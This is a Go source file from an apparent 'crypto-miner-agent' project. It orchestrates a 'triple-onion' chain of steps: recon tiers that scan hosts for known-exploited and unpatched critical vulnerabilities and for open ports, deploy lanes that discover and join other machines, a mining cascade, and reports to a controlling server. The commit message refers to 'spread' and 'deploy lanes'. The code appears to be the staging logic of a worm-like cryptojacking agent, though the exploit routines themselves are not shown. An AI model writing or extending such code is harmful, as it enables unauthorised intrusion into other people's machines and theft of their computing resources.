Files
AetherForge/agent/client/triple_onion_chain.go
AetherForge 9e870fff8b
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add simple Deploy and Mine path for operators without spread complexity.
Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.
2026-06-07 19:48:32 -07:00

186 lines
4.5 KiB
Go

package client
import (
"context"
"encoding/json"
"log"
"crypto-miner-agent/deploy"
"crypto-miner-agent/miner"
)
func (c *AgentClient) tripleOnionPolicy() miner.TripleOnionPolicy {
c.mu.Lock()
defer c.mu.Unlock()
if !c.triplePolicyLoaded {
return miner.DefaultTripleOnionPolicy()
}
return miner.NormalizeTripleOnionPolicy(c.triplePolicy)
}
func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var p miner.TripleOnionPolicy
if err := json.Unmarshal(raw, &p); err != nil {
return
}
if p.SimpleDeploy {
p = miner.SimpleDeployTripleOnionPolicy()
}
c.mu.Lock()
c.triplePolicy = miner.NormalizeTripleOnionPolicy(p)
c.triplePolicyLoaded = true
c.mu.Unlock()
}
func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator {
c := r.client
if c.cfg.SimpleDeploy || c.tripleOnionPolicy().SimpleDeploy {
return nil
}
policy := c.tripleOnionPolicy()
return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
RunReconTier: r.runReconTier,
RunDeployLane: r.runDeployLane,
RunMining: r.startMiningCascade,
ReportEvent: r.reportOnionEvent,
})
}
func (r *MiningChainRunner) runReconTier(_ context.Context, tier string) miner.ReconTierResult {
switch tier {
case "kev_scan":
return r.reconKEVScan()
case "vuln_recon", "vuln_probe":
return r.reconVulnProbe()
case "service_probe":
return r.reconServiceProbe()
case "listen_ports":
return r.reconListenPorts()
default:
return miner.ReconTierResult{OK: false, Error: "unknown recon tier"}
}
}
func (r *MiningChainRunner) reconKEVScan() miner.ReconTierResult {
patch := collectPatchStatus()
ports := collectListenPorts()
var sec *SysCheckSecurity
if p := collectPosture(); p != nil {
sec = securityFromPosture(p)
}
kev := scanKEVExposure(patch, ports, sec)
if kev == nil {
return miner.ReconTierResult{OK: false, Error: "kev scan unavailable"}
}
return miner.ReconTierResult{
OK: true,
Snapshot: miner.ReconSnapshot{
RiskScore: kev.RiskScore,
CriticalExposed: kev.CriticalCount,
ExposedCount: kev.ExposedCount,
LikelyCount: kev.LikelyCount,
Details: map[string]interface{}{
"summary": kev.Summary,
"findings": len(kev.Findings),
},
},
}
}
func (r *MiningChainRunner) reconServiceProbe() miner.ReconTierResult {
p := collectPosture()
if p == nil {
return miner.ReconTierResult{OK: false, Error: "posture probe unavailable"}
}
count := len(p.Services)
return miner.ReconTierResult{
OK: true,
Snapshot: miner.ReconSnapshot{
ServiceCount: count,
Details: map[string]interface{}{
"posture_score": p.PostureScore,
},
},
}
}
func (r *MiningChainRunner) reconListenPorts() miner.ReconTierResult {
ports := collectListenPorts()
if ports == nil {
return miner.ReconTierResult{OK: false, Error: "listen_ports unavailable"}
}
return miner.ReconTierResult{
OK: true,
Snapshot: miner.ReconSnapshot{
OpenPortCount: ports.Count,
Details: map[string]interface{}{
"port_count": ports.Count,
},
},
}
}
func (r *MiningChainRunner) reconVulnProbe() miner.ReconTierResult {
report := RunVulnLOTLProbe()
if report == nil {
return miner.ReconTierResult{OK: false, Error: "vuln_recon unavailable"}
}
critical := 0
for _, f := range report.Findings {
if f.Severity == "critical" && !f.Patched {
critical++
}
}
return miner.ReconTierResult{
OK: true,
Snapshot: miner.ReconSnapshot{
RiskScore: report.RiskScore,
CriticalExposed: critical,
ExposedCount: report.ExposedCount,
LikelyCount: report.CriticalCount,
Details: map[string]interface{}{
"summary": report.Summary,
"findings": len(report.Findings),
},
},
}
}
func (r *MiningChainRunner) runDeployLane(_ context.Context, lane string) (bool, string) {
c := r.client
if lane == "discover_and_join" {
msg, err := c.runDiscoverAndJoin(8)
if err != nil {
return false, err.Error()
}
return true, msg
}
c.mu.Lock()
cfg := c.cfg
c.mu.Unlock()
return deploy.TryDiscoverJoinLane(cfg, lane)
}
func (r *MiningChainRunner) reportOnionEvent(report miner.TripleOnionReport, eventType string) {
c := r.client
payload, err := json.Marshal(struct {
miner.TripleOnionReport
Event string `json:"event"`
}{
TripleOnionReport: report,
Event: eventType,
})
if err != nil {
return
}
if err := c.write(Message{Type: "onion_report", Payload: payload}); err != nil {
log.Printf("[triple-onion] %s notify failed: %v", eventType, err)
}
r.mu.Lock()
r.onionAttempts = report.Attempts
r.mu.Unlock()
}